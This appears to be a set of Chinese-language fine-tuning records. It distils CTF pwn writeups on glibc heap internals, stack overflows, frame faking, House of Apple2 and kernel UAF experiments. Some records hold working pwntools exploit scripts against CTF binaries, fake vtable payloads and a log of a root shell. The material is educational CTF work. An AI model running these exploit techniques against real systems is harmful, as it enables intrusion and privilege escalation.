{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-1cdafc8a008fe19dab30", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「程序逻辑」。\n资料来源：Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md；主题：CISCN2024 华南赛区 my_heap Writeup；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## 程序逻辑\n\n程序是一个很小的堆菜单题，主菜单循环提供：\n\n```text\n1. add\n2. delete\n3. show\n4. edit\n5. hidden backdoor\n```\n\n其中菜单里只打印前 4 个选项，第 5 个是隐藏选项，并且受一个全局变量限制，只能调用一次。\n\n关键全局变量：\n\n```text\npie + 0x4040 : 全局堆指针 ptr\npie + 0x4010 : hidden backdoor 使用次数 / flag\n```\n\n各功能逆向后大致如下。", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 34, "ctf_task_type": "pwn", "original_id": "pwn101-doc-0827afbc9bf237e2", "original_line": 128, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md", "split": "train", "split_group_key": "29400e37059a22e96fca7e93"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-1e03b08783787ce9b44f", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「栈溢出漏洞」。\n资料来源：stack.md；主题：栈利用；分类：stack。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## 栈溢出漏洞\n\n```c\n#include \n\nint main() {\n    char buffer[64];   // 只分配了 64 字节的空间\n    printf(\"Enter some data: \");\n\n    // 危险：使用 gets 或 read 不限制长度\n    // 这里用 read 演示（从标准输入读最多 200 字节）\n    read(0, buffer, 200);\n\n    printf(\"You entered: %s\\n\", buffer);\n    return 0;\n}\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-3ffec1906210efd1", "original_line": 595, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "split_group_key": "5d29b793664b20592ba25f84"}, "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-1e2137b3b5cbb9a42427", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Stack/ret2syscall/x86/basic/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Stack/ret2syscall/x86/basic/exp.py`\n\n分类：stack\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n利用主题关键词：\n- stack/rop\n\n关键常量/偏移样例：\n`0x08048529`, `0x08048670`\n\n训练用代码片段：\n```python\nfrom pwn import *\n\nio=process(\"./service\")\nelf=ELF(\"./service\")\n#io=remote(\"node5.anna.nssctf.cn\",25392)\ncontext(log_level=\"debug\",arch=\"i386\")\noffset=28\n\nsh=0x08048670\nsystem=0x08048529\npayload=b'a'*offset+p32(system)+p32(sh)\n\nio.send(payload)\n\nio.interactive()\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-35413f21a4f37f90", "original_line": 55, "original_split": "validation", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2syscall/x86/basic/exp.py", "split": "train", "split_group_key": "34d6907c450a6e78266088d1"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2syscall/x86/basic/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-1eb38b5c397874c944e6", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「分配过程」。\n资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## 分配过程\n\n[图片: glibc.png]\n\n+ 我们调用`malloc`函数分配一块内存给一个指针时，实际上我们是调用了`_libc_malloc`函数。\n+ 首先会在`_libc_malloc`函数中判断`__malloc_hook`函数指针是否为空，如果不为空则调用`__malloc_hook`函数指针（glibc2.34已删除）。\n+ 如果`glibc`存在`tcache`且有相应大小的`chunk`则将其从`tcache`中取出并返回结果。\n+ 如果没有`tcache`或其中不存在相应的`chunk`，则调用`_int_malloc`函数申请内存。\n  - 首先把申请的内存的字节数转化为`chunk`的大小。\n  - 如果`arena`未初始化，则调用`sysmalloc`向系统申请内存，然后将获取的`chunk`返回。\n  - 如果申请的`chunk`大小不超过`fast bin`的最大值，则尝试从对应的`fast bin`的头部获取`chunk`。在获取到`chunk`后，如果对应的`fast bin`还有`chunk`并且大小在`tcache`范围就将它们依次从头结点取出放到`tcache`中，直到把`tcache`填满。最后将申请到的`chunk`返回。\n  - 如果申请的`chunk`在`large bin`大小范围则调用`malloc_consolidate`函数将`fast bin`中的`chunk`合并后放入 `unsorted bin`。\n  - 循环进行如下操作：\n    * 循环取`unsorted bin`最后一个`chunk`。\n      + 如果用户的请求为`small bin chunk`，那么我们首先考虑`last remainder`，如果当前`chunk`是`last remainder`，且`last remainder`是`unsorted bin`中的唯一一个`chunk`，并且`last remainder`的大小分割后还可以作为一个`chunk`，则从`last remainder`中切下一块内存返回。\n      + 如果`chunk`的大小恰好等于申请的`chunk`大小，则如果该内存大小在 tcache 范围且 tcache 没有满，则先将其放入`tcache`，之后会考虑从`tcache`中找`chunk`。否则直接将找到的`chunk`返回。\n      + 根据`chunk`的大小将其放入`small bin`或`large bin`中。对于`small bin`直接从链表头部加入；对于 `large bin`，首先特判加入链表尾部的情况，如果不在链表尾部则从头部遍历找位置，如果`large bin`中有与加入的`chunk`大小相同的`chunk`，则加入到第一个相等`chunk`后面，否则加到合适位置后还需要更新 nextsize 指针。\n      + 尝试从`tcache`找`chunk`。\n      + 如果循环超过 10000 次就跳出循环。\n    * 尝试从`tcache`找`chunk`。\n    * 如果申请`chunk`大小不在`small bin`范围，则从后往前遍历对应`large bin`，找到第一个不小于申请 chunk 大小的 chunk。为了 unlink 时避免修改 nextsize 的操作，如果存在多个合适的 chunk 则选择第二个 chunk。如果选取的 chunk 比申请的 chunk 大不少于 MINSIZE，则需要将多出来的部分切出来作为 `remainder`，并将其加入`unsorted bin`头部。然后将获取的`chunk`返回。\n    * 找一个`chunk`范围比申请`chunk`大的非空`bin`里面找最后一个`chunk`，这个过程用 binmap 优化，同时也可以更新 `binmap` 的状态。这个`chunk`上切下所需的`chunk`，剩余部分放入`unsorted bin`头部。然后将获取的`chunk`返回。\n    * 如果`top chunk`切下所需`chunk`后剩余部分还是不小于 `MINSIZE` 则从`top chunk`上切下所需 `chunk` 返回。\n    * 如果`fast bins`还有`chunk`则调用`malloc_consolidate`合并`fast bin`中的`chunk`并放入`unsorted bin`中，然后继续循环。\n    * 如果`fast bins`还有`chunk`则调用`malloc_consolidate`合并`fast bin`中的`chunk`并放入 `unsorted bin`中，然后继续循环。\n    * 最后`sysmalloc`系统调用向操作系统申请内存分配`chunk`。\n      + 如果`arena`没有初始化或者申请的内存大于`mp_.mmap_threshold`，并且`mmap`的次数小于最大值，则使用`mmap`申请内存。然后检查一下是否16字节对齐然后更新`mmap`次数和`mmap`申请过的最大内存大小后就将`chunk`返回。\n      + 如果`arena`没有初始化就返回0。\n      + 对之前的`top chunk`进行检查，如果是 dummy top的话，因为是用`unsorted bin`表示的，因此 top chunk 的大小需要是0。否则堆的大小应该不小于 MINSIZE ，并且前一个堆块一个处于使用中，并且堆的结束地址应该是页对齐的，由于页对齐的大小默认是 0x1000，所以低 12 个比特需要为0.初次之外，`top chunk`大小必须比申请`chunk`大小加上 MINSIZE 要小。\n      + 如果`arena`不是`main_arena`\n        - 尝试将`top chunk`所在的`heap`扩展大小，如果成功则更新`arena`记录的内存总大小 `system_mem`和`top chunk`大小。\n        - 尝试申请一个新的`heap`。设置新的`heap`以及`arena`的参数并且将原来的`top chunk`先从尾部切下 2 个0x10大小的`chunk`，剩余部分如果不小于 MINSIZE 则将其释放掉。\n        - 否则，如果前面没有执行到`mmap`申请`chunk`的分支就尝试执行。\n      + 如果`arena`是 `main arena`\n        - 计算需要获取的内存大小。需要获取的内存大小等于申请的`chunk`大小加上0x20000和MINSIZE。如果堆空间连续，则可以再减去原来内存的大小。然后将需要获取的内存大小与页对齐。\n        - `sbrk`扩展内存如果成功则会尝试调用一个 hook 函数，否则`mmap`申请内存，然后`brk`移到申请的内存处并设置堆不连续参数。\n        - 如果成功获取到内存，则更新`arena`记录的内存总大小`system_mem`和`sbrk_base`。之后对一系列的情况进行处理，在这期间，之前的`top chunk`会被从尾部切下两个 0x10 大小的`chunk`，剩余部分如果不小于`MINSIZE`则将其释放掉。\n      + 最后从新获取的`top chunk`切下所需的`chunk`并返回。", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-94e4674fd9333c1d", "original_line": 94, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "split_group_key": "4c4ea4658bfacb6635af88e2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-1ee0587a710c510ec9c8", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「3.4 House of Apple2」。\n资料来源：IO-FILE/house of apple2/2024ylb futureheap/WP.md；主题：2024ylb futureheap WP；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 3.4 House of Apple2\n\n`_IO_wfile_jumps` 路径最终会调用：\n\n```text\nfp->_wide_data->_wide_vtable + 0x68\n```\n\n所以在 `fortune + 0x200` 伪造 `_IO_wide_data` 和 fake wide vtable：\n\n```python\nwide_data  = b\"\\x00\"\nwide_data  = wide_data.ljust(0x68, b\"\\x00\")\nwide_data += p64(fortune)          # fake wide vtable[0x68] -> shellcode\nwide_data  = wide_data.ljust(0xe0, b\"\\x00\")\nwide_data += p64(fortune + 0x200)  # _wide_vtable\n```\n\n`fortune` 页是 RWX，所以 `fortune` 起始位置直接放 ORW shellcode。", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-54196e321d816977", "original_line": 204, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of apple2/2024ylb futureheap/WP.md", "split": "train", "split_group_key": "8872b8a958dc5167d996bedd"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of apple2/2024ylb futureheap/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-1f7e2909e339206eccff", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「原理」。\n资料来源：stack.md；主题：栈利用；分类：stack。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 原理\n\n在之前的栈溢出中不外乎两种形式：\n\n+ 控制程序`EIP`\n+ 控制程序`EBP`\n\n最终目的都是控制程序的执行流。在 frame faking 中，我们所利用的技巧便是同时控制`EBP`与`EIP`，这样我们在控制程序执行流的同时，也可以改变程序栈帧的位置。\n\n**frame faking的利用情况：**\n\n+ 溢出字节较少，难以构造较长的 rop 链。\n+ 存在一块可写的内存，且知道其地址。\n\n现在我们先来了解一下在 frame faking 中的重要知识点。\n\n**函数的入口点和出口点**\n\n+ 入口点\n\n```c\npush ebp     //将ebp压栈\nmov ebp, esp //将esp的值赋给ebp\n```\n\n+ 出口点\n\n```c\nleave\nret   //pop eip，弹出栈顶元素作为程序下一个执行地址`\n```\n\n+ 其中`leave`指令相当于\n\n```c\nmov esp, ebp //将ebp的值赋给esp\npop ebp      //弹出ebp\npop eip      //弹出的值为eip\n```\n\n\n**漏洞利用原理：**\n\n我们通过栈溢出将栈结构修改为以下格式：\n\n```c\nbuffer padding|fake ebp|leave ret addr|\n```\n\n+ 函数的返回地址覆盖为执行`leave ret`指令的地址，这样函数在正常执行完自己的`leave ret`后，还会再次执行一次`leave ret`。\n+ 其中`fake ebp`为我们构造的栈帧的基地址，需要注意的是这里是一个地址。一般来说我们构造的假的栈帧如下\n\n```c\nfake ebp\n|\nv\nebp2|target function addr|leave ret addr|arg1|arg2\n```\n\n这里我们的`fake ebp`指向`ebp2`，即它为`ebp2`所在的地址。通常来说，这里都是我们能够控制的可读的内容。我们必须得有一块可以写的内存，并且我们还知道这块内存的地址，这一点与栈迁移相似。\n\n我们接下来通过分析`leave;ret`指令来分析 payload 构造原理。\n\n`leave;ret`指令相当于`mov esp,ebp;pop ebp;pop eip`，接下来我们分析一下执行`mov esp,ebp;pop eip`指令时的栈结构。\n\n+ `mov esp,ebp` 将`ebp`的值赋给`esp`，此时`esp`和`ebp`同时指向`ebp`基址处，也就是我们设置的可控制的`fake ebp`值处。\n+ `pop ebp` 弹出栈顶，也就是`ebp`的基址，这时会将我们设置的`fake ebp`赋值给`ebp`寄存器，同时`esp+4`栈下调。\n+ 执行`ret`指令，`ret`指令相当于`pop eip`；此时栈顶设置为我们查找到的的`leave;ret`指令。执行`ret`之后`eip`接下来将执行`leave;ret`指令。\n+ 执行`leave;ret`指令，`mov esp,ebp`将`ebp`的值赋给`esp`，此时`ebp`寄存器中保存的值为我们设置的虚假的可控的地址，于是`esp`指向了该可控地址\n+ `pop ebp`栈顶弹出赋给`ebp`，相当于该可控地址的第一个4位地址内容弹出，赋给`ebp`，可以设置4个`a`来padding，`esp+4`上行。\n+ 执行`ret`，我们一般将此时`esp`指向的地址设为目标函数地址，就可执行目标函数了。", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-2a21213af0b1d8c4", "original_line": 591, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "split_group_key": "5d29b793664b20592ba25f84"}, "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-202ccf84c64fe109d41f", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「本地验证」。\n资料来源：IO-FILE/[CISCN 2022 华东北]duck/WP.md；主题：[CISCN 2022 华东北] duck - Pwn Writeup；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## 本地验证\n\n临时验证脚本发送命令后成功进入 shell：\n\n```text\nheap_leak=b1ce702906 heap_base=0x62970ceb1000\nlibc_leak=c02cc1a5de78 libc_base=0x78dea5a20000\n_IO_file_jumps=0x78dea5c14560 one_gadget=0x78dea5afa864\nEXP_SUCCESS\nuid=0(root) gid=0(root) groups=0(root),65534(nogroup)\n```\n\n---", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 34, "ctf_task_type": "pwn", "original_id": "pwn101-doc-94fce924c16d40f7", "original_line": 184, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/[CISCN 2022 华东北]duck/WP.md", "split": "train", "split_group_key": "8a82ea35d8808d6caff7e707"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/[CISCN 2022 华东北]duck/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-20a16ceb22613a3c6e76", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「Confirmed module primitive」。\n资料来源：Kernel/2026d3ctf-d3kheap2pro/EXP.md；主题：d3kheap2pro exploit notes；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## Confirmed module primitive\n\n- Device: `/proc/d3kheap2pro`\n- Request: `struct { size_t idx; }`\n- Valid index range: `[0, 511]`\n- `alloc` command: `0x3361626e` (`nba3`)\n- `free` command: `0x74747261` (`artt`)\n- Bug: `free` decrements the slot refcount and calls `kmem_cache_free()`, but does not clear `slots[idx].ptr`.", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-8dc8011dd985ec26", "original_line": 361, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/EXP.md", "split": "train", "split_group_key": "a4e60a6c103ca48924c766ea"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/EXP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-21d39e5e20368c4a9712", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「例题 hitcontraining_magicheap」。\n资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 例题 hitcontraining_magicheap\n\n+ 分析\n\n根据提示为 Ubuntu16，则 libc 应该是 2.23。\n\n反编译分析，题目并没有去符号。\n\n发现一个后门函数，\n\n[图片: image]\n\n在`v3`局部变量等于 4869 且`magic`全局变量大于 0x1305 时会执行后门函数。\n\n[图片: image]\n\n分析 delete 函数，释放后已经置为`NULL`，并没有 UAF 漏洞。\n\n[图片: image]\n\nedit 函数中的 heap size 是可以由我们进行控制的，如果我们输入的 heap size 比原来的 chunk 的 heap size 大，那样的话就会产生堆溢出。\n\n[图片: image]\n\n总结关键点：magic 大于 0x1305 就可以 getshell，edit 函数存在堆溢出。\n\n通过 unsortedbin attack 写 magic 为 fd 指针。\n\n+ exp\n\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\npr = lambda num=4096: print(io.recv(num))\nia = lambda: io.interactive()\nic = lambda: io.close()\nint16 = lambda data: int(data, 16)\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('magicheap')\nlibc = ELF('./libc-2.23.so')\n#io = process(['./ld-2.23.so',elf.path], env = {'LD_PRELOAD' : libc.path})\nio=remote(\"node5.buuoj.cn\",25559)\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\n\ndef add(size, content):\n    ru(\":\")\n    sl(\"1\")\n    ru(\":\")\n    sl(str(size))\n    ru(\":\")\n    sl(content)\n\ndef edit_heap(idx, size, content):\n    ru(\":\")\n    sl(\"2\")\n    ru(\":\")\n    sl(str(idx))\n    ru(\":\")\n    sl(str(size))\n    ru(\":\")\n    sl(content)\n\ndef dele(idx):\n    ru(\":\")\n    sl(\"3\")\n    ru(\":\")\n    sl(str(idx))\n\n#dbg()\n\nadd(0x20,\"aaaa\") #0\nadd(0x80,\"bbbb\") #1\n\nadd(0x20,\"cccc\") #2\n\ndele(1)#free掉1\n\nmagic = 0x6020a0\nfd = 0\nbk = magic - 0x10\n\n#写chunk0溢出到chunk1,写chunk1的bk指向magic\n#将chunk1的size字段写回去，然后写fd为0，bk为magic-0x10\n#magic-0x10是因为我们要将其伪造成fake_chunk，即magic-0x10为size字段，magic为data区域\nedit_heap(0, 0x40, b\"a\" * 0x20 + p64(0) + p64(0x91) + p64(fd) + p64(bk))\n\"\"\"\n0x55555afaf000  0x0000000000000000      0x0000000000000031      ........1.......\n0x55555afaf010  0x0000000a61616161      0x0000000000000000      aaaa............\n0x55555afaf020  0x0000000000000000      0x0000000000000000      ................\n0x55555afaf030  0x0000000000000000      0x0000000000000091      ................         <-- unsortedbin[all][0]\n0x55555afaf040  0x00007f1dbefd7b78      0x00007f1dbefd7b78      x{......x{......\n0x55555afaf050  0x0000000000000000      0x0000000000000000      ................\n0x55555afaf060  0x0000000000000000      0x0000000000000000      ................\n0x55555afaf070  0x0000000000000000      0x0000000000000000      ................\n0x55555afaf080  0x0000000000000000      0x0000000000000000      ................\n0x55555afaf090  0x0000000000000000      0x0000000000000000      ................\n0x55555afaf0a0  0x0000000000000000      0x0000000000000000      ................\n0x55555afaf0b0  0x0000000000000000      0x0000000000000000      ................\n0x55555afaf0c0  0x0000000000000090      0x0000000000000030      ........0.......\n0x55555afaf0d0  0x0000000a63636363      0x0000000000000000      cccc............\n0x55555afaf0e0  0x0000000000000000      0x0000000000000000      ................\n0x55555afaf0f0  0x0000000000000000      0x0000000000020f11      ................         <-- Top chunk\n\"\"\"\n#创建一个和chunk1相同大小的chunk，就可以修改fake_chunk的fd指针，即magic变量中的数值：\nadd(0x80, \"dada\")  #trigger unsorted bin attack\n#dbg()\n\nru(\":\")\ns(b\"4869\")\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-e68394c1e97e7a55", "original_line": 105, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "split_group_key": "4c4ea4658bfacb6635af88e2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-249aa175dd76990a6401", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Kernel/2024wdb/vir1/vir1_start.sh` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Kernel/2024wdb/vir1/vir1_start.sh`\n\n分类：kernel\n\n语言：bash\n\n利用主题关键词：\n- seccomp/orw\n\n训练用代码片段：\n```bash\n#!/bin/bash\n\nexec qemu-system-x86_64 \\\n\t-m 64M \\\n\t-kernel ./bzImage \\\n\t-initrd ./vir1_rootfs.cpio \\\n\t-append \"console=ttyS0 kaslr quiet\" \\\n\t-cpu kvm64,+smap,smep\\\n\t-smp cores=1,threads=1 \\\n\t-nographic \\\n\t-no-reboot \\\n  -s -S\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-ce0f4133dcee0dad", "original_line": 284, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2024wdb/vir1/vir1_start.sh", "split": "train", "split_group_key": "fd88eed80bde0219fa1f4c5a"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2024wdb/vir1/vir1_start.sh", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-24aed207f34196e48a7f", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「Next experiments」。\n资料来源：Kernel/2026d3ctf-d3kheap2pro/XCACHE_RESULTS.md；主题：d3kheap2pro cross-cache / Dirty Pagetable experiment log；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## Next experiments\n\n1. Increase PTE spray count under SMP4 with `MAP_NORESERVE` until mmap or memory pressure fails; try 64/96/128.\n2. Free only returned groups (`slot >= 176`) but vary start slot by 16 to find ranges that perturb PTE mappings.\n3. Replace anonymous PTE spray with file-backed mappings and scan for file-page alias / dirty write effect.\n4. Add QEMU/GDB breakpoints on `discard_slab`, `alloc_pages`, and `pte_alloc_one` to record physical PFNs and confirm whether released d3kheap slabs become PTE pages.\n5. If PFN overlap is confirmed, move from blind scan to controlled PTE-entry manipulation; otherwise search for another order-0 page target.", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-10c4badb5a92fc69", "original_line": 379, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/XCACHE_RESULTS.md", "split": "train", "split_group_key": "88b27da04fe7f89b23f165d9"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/XCACHE_RESULTS.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-24b615f41af5798f59b7", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Kernel/2022ciscn-cactus/start.sh` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Kernel/2022ciscn-cactus/start.sh`\n\n分类：kernel\n\n语言：bash\n\n训练用代码片段：\n```bash\n#!/bin/sh\nqemu-system-x86_64 \\\n    -m 128M \\\n    -kernel ./bzImage \\\n    -initrd ./rootfs.cpio \\\n    -monitor /dev/null \\\n    -append \"root=/dev/ram console=ttyS0 oops=panic quiet panic=1 kaslr\" \\\n    -cpu kvm64,+smep,+smap\\\n    -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \\\n    -nographic \\\n    -no-reboot \\\n    -s\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-82f7df6d45e87953", "original_line": 281, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2022ciscn-cactus/start.sh", "split": "train", "split_group_key": "b9e865c3afe8464e4d6ead7e"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2022ciscn-cactus/start.sh", "split": "train", "type": "ctf_lora_sft"}
